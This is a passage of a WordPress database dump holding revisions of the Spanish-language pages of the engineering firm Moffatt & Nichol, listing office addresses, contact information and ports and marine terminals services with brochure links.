22420-020\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 2103-4630\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"6\">Tamuning</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nITC Building Suite 801\r\n\r\n590 S. Marine Corps Drive\r\n\r\nTamuning, Guam 96913\r\n\r\n<strong>teléfono</strong>\r\n\r\n671-648-1000\r\n\r\n<strong>fax</strong>\r\n\r\n671-648-1001\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, CanadÃ¡ V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-4','','','2012-06-15 04:25:08','2012-06-15 04:25:08','',14,'http://moffattnichol.com/spanish/14-revision-4/',0,'revision','',0),(2454,1,'2012-06-13 09:17:17','2012-06-13 09:17:17','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-8','','','2012-06-13 09:17:17','2012-06-13 09:17:17','',16,'http://moffattnichol.com/spanish/16-revision-8/',0,'revision','',0),(2455,1,'2012-06-15 04:34:26','2012-06-15 04:34:26','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','inherit','open','open','','16-revision-9','','','2012-06-15 04:34:26','2012-06-15 04:34:26','',16,'http://moffattnichol.com/spanish/16-revision-9/',0,'revision','',0),(2456,1,'2012-06-15 04:45:23','2012-06-15 04:45:23','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marítimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marítima. Participamos en la llegada de la contenedorización y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancías y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el análisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcción. Moffatt & Nichol puede dar soporte, prácticamente, a cualquier tarea portuaria, marítima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marítimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÍTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo y ha jugado un papel importante en la evolución del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÓN PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÓN DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÓN DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos de nuestra nación,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marítimas','','inherit','open','open','','48-autosave','','','2012-06-15 04:45:23','2012-06-15 04:45:23','',48,'http://moffattnichol.com/spanish/48-autosave/',0,'revision','',0),(2457,1,'2012-06-13 09:24:03','2012-06-13 09:24:03','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con mÃ¡s de 60 años de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision-7','','','2012-06-13 09:24:03','2012-06-13 09:24:03','',48,'http://moffattnichol.com/spanish/48-revision-7/',0,'revision','',0),(2458,1,'2012-06-13 09:28:41','2012-06-13 09:28:41','<div class=\"content_faq\">\r\n  <h3>servicios portuarios</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y pÃºblicos.\r\n\r\nNuestro grupo abarca una combinaciÃ³n de especialistas en economÃa, logÃstica, finanzas, gestiÃ³n y operaciones, con experiencia profesional en una organizaciÃ³n novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creaciÃ³n de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÃšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marÃtima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geogrÃ¡fica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, Ãfrica, el Medio 